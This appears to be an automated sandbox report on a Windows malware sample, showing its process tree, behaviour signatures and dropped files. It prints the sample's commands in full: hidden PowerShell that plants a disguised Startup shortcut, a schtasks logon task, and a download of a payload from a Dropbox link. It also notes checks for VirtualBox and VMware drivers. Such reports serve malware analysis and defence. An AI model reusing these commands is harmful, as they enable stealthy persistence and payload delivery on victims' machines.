Analysis

  • max time kernel
    149s
  • max time network
    114s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 02:40

General

  • Target
    2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe
  • Size 531KB
  • Sample260805-c552jscc54
  • SHA256 f96e938dda97cab4c7adfa40056a3511fb2d0d7108557695e9eb820ce3cb5aaf
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Looks for VirtualBox drivers on disk 2 TTPs 6 IoCs
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell and hide display window.

  • Looks for VMWare drivers on disk 2 TTPs 6 IoCs
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 7 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-05_fc1e3f4743bb254a86887b6b98a72c2c_akira_conti.exe"
    1⤵
    • Looks for VirtualBox drivers on disk
    • Looks for VMWare drivers on disk
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:3296
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\monitor.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Monitor'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Creates a file in the Startup directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5700
    • C:\Windows\system32\cmd.exe
      "cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\monitor.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:684
      • C:\ProgramData\Microsoft\Windows\WER\monitor.exe
        C:\ProgramData\Microsoft\Windows\WER\monitor.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2100
        • C:\Windows\system32\cmd.exe
          "cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3516
          • C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
            C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
            5⤵
            • Looks for VirtualBox drivers on disk
            • Looks for VMWare drivers on disk
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4448
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/vuvwl23hgykfsvoto1zj9/mata.sgn?rlkey=j1l9lqlpmn8751afw6vkc435m&st=s778w2bm&dl=1' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db'"
              6⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2300
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/vuvwl23hgykfsvoto1zj9/mata.sgn?rlkey=j1l9lqlpmn8751afw6vkc435m&st=s778w2bm&dl=1' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db'"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5628
    • C:\Windows\system32\schtasks.exe
      "schtasks" /create /tn WindowsErrorReporting /tr C:\ProgramData\Microsoft\Windows\WER\WerFault.exe /sc onlogon /ru PEXWEVZA\Admin /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:1500
    • C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
      "C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"
      2⤵
      • Looks for VirtualBox drivers on disk
      • Looks for VMWare drivers on disk
      • Executes dropped EXE
      PID:4944
  • C:\PROGRA~3\MICROS~1\Windows\WER\monitor.exe
    C:\PROGRA~3\MICROS~1\Windows\WER\monitor.exe
    1⤵
    • Looks for VirtualBox drivers on disk
    • Looks for VMWare drivers on disk
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:5792
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\monitor.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Monitor'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Creates a file in the Startup directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4340
    • C:\Windows\system32\cmd.exe
      "cmd" /c start "" C:\ProgramData\Microsoft\Windows\WER\monitor.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3404
      • C:\ProgramData\Microsoft\Windows\WER\monitor.exe
        C:\ProgramData\Microsoft\Windows\WER\monitor.exe
        3⤵
        • Executes dropped EXE
        PID:4348
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/vuvwl23hgykfsvoto1zj9/mata.sgn?rlkey=j1l9lqlpmn8751afw6vkc435m&st=s778w2bm&dl=1' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db'"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4456
    • C:\Windows\system32\schtasks.exe
      "schtasks" /create /tn WindowsErrorReporting /tr C:\ProgramData\Microsoft\Windows\WER\WerFault.exe /sc onlogon /ru PEXWEVZA\Admin /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:1720
    • C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
      "C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"
      2⤵
      • Looks for VirtualBox drivers on disk
      • Looks for VMWare drivers on disk
      • Executes dropped EXE
      PID:1660
  • C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
    C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
    1⤵
    • Looks for VirtualBox drivers on disk
    • Looks for VMWare drivers on disk
    • Executes dropped EXE
    PID:5916
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:2824

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          monitor.exe

          • Path C:\ProgramData\Microsoft\Windows\WER\monitor.exe
          • Size 531KB
          • SHA256 f96e938dda97cab4c7adfa40056a3511fb2d0d7108557695e9eb820ce3cb5aaf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          werdata.db

          • Path C:\ProgramData\Microsoft\Windows\WER\werdata.db
          • Size 186KB
          • SHA256 2116f68886a1b3047ba05e9790aa497314c7d0d2259e056d995d1fd666419ff6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ModuleAnalysisCache

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
          • Size 67KB
          • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 aa9f3ff52039f19698ec0bd2cc8eb5767d16f43a8895cdeeb3e03150eaf05373
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 6a0f6c545beaac7d95f6d759165f12ab79330c5a4214be90d4c3bd70a7466e0e
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 3674b90c1caf1df47ef6cdfcff99b7987586cab16fe77bbe8318ca09a0cd9a77
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_4wp3wrqu.v4p.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4wp3wrqu.v4p.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          monitor.lnk

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monitor.lnk
          • Size 1KB
          • SHA256 afc068b7ecc447cc87ec5d17ea5432a871659f7ad0a2bb0e9b2f17e9c94bb662
          • MD5 SHA1 SHA512 TLSH

          memory/1660-75-0x00007FF63D930000-0x00007FF63D99E000-memory.dmp

          memory/2100-59-0x00007FF792490000-0x00007FF7924FE000-memory.dmp

          memory/3296-54-0x00007FF7CDE90000-0x00007FF7CDEFE000-memory.dmp

          memory/4340-42-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

          memory/4340-26-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

          memory/4340-25-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

          memory/4340-27-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

          memory/4340-24-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

          memory/4340-29-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

          memory/4340-28-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

          memory/4340-32-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

          memory/4348-61-0x00007FF792490000-0x00007FF7924FE000-memory.dmp

          memory/4448-60-0x00007FF63D930000-0x00007FF63D99E000-memory.dmp

          memory/4944-55-0x00007FF63D930000-0x00007FF63D99E000-memory.dmp

          memory/5700-12-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

          memory/5700-10-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

          memory/5700-11-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

          memory/5700-13-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

          memory/5700-3-0x00007FFC7966F000-0x00007FFC79670000-memory.dmp

          memory/5700-4-0x000001B01BA50000-0x000001B01BA72000-memory.dmp

          memory/5700-5-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

          memory/5700-19-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

          memory/5700-14-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

          memory/5700-18-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

          memory/5700-9-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

          memory/5700-8-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp

          memory/5792-58-0x00007FF792490000-0x00007FF7924FE000-memory.dmp

          memory/5792-74-0x00007FF792490000-0x00007FF7924FE000-memory.dmp

          memory/5916-57-0x00007FF63D930000-0x00007FF63D99E000-memory.dmp